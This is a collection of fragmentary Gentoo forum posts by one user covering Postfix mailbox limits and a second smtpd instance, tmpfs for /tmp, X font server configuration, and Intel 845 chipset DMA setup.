Ups, sorry about that.

One of them should have been commented.

From 'man 8 virtual'
virtual_mailbox_limit (51200000)
The maximal size in bytes of an individual mailbox or maildir file,
or zero (no limit).


I believe it can be used to set the defaults, as you asumed.

If you've got plenty of ram you can mount your /tmp on a tmpfs filesystem.
In this case you don't need to alter any partition tables.
Depending on what apps you're running it'll also be quite a speed up.

You may want to set the maximum size used for the tmpfs. It will only uses the space it ...

Exclude "Dustbin" from unanswered post search

Hi Mods

Is it possible to exclude the Dustbin forum from searches like
http://forums.gentoo.org/search.php?sea ... unanswered
?

Most threads in the Dustbin are unanswered and they are all locked anyway.
So that's all just annoying noise when one's checking for n00b's who need help.

I believe 7100 is the default tcp port for a font-server. -1 tell's it to use a socket instead of the network, which is both faster and more secure.

Can't tell you pros or cons on using the font-server. Personally I just hated having the same information (fontpaths) in several different places.

I have tried to use the font server (unix/: 7100), but then X crashes saying it cannot load fixed font. The only solution (I found so far) is to put manually the fontdirs or not to put any.

The unix/:XXX in xorg.conf has to match the settings in /etc/conf.d/xfs.

Regarding fonts.

I've just put:
FontPath "unix/:-1"
in my xorg.conf.

And added all the font directories to /etc/X11/fs/config instead (the xfs config file this is).

As of my understanding this tells X to use the fontserver instead of dealing with fonts itself. Like this you don't have to maintain ...

Just start X with something like:

I've made an alias in my .bashrc:

Works for me ;-)

Just put something like:

<your.ip.address.here>:1025 inet n - n - - smtpd

in your /etc/postfix/master.cf and restart postfix.
You then have a second instance of postfix's smtp-daemon listening on port 1025 which shares the config with the default daemon (port 25).

It sounds like your mail is delivered by the postfix virtual delivery agent.
For security reasons you can't call procmail or use a .forward file with this delivery agent. That only works with the local delivery agent.

I don't think you'll need any patches to get the intel 845 running.
I'm running gentoo-dev-sources-2.6.8 on a Dell Inspiron 8500 which also uses the intel 845 chipset. Working like a charm here.

For DMA just enable it in your kernel config and then use hdparm to tune your disk.
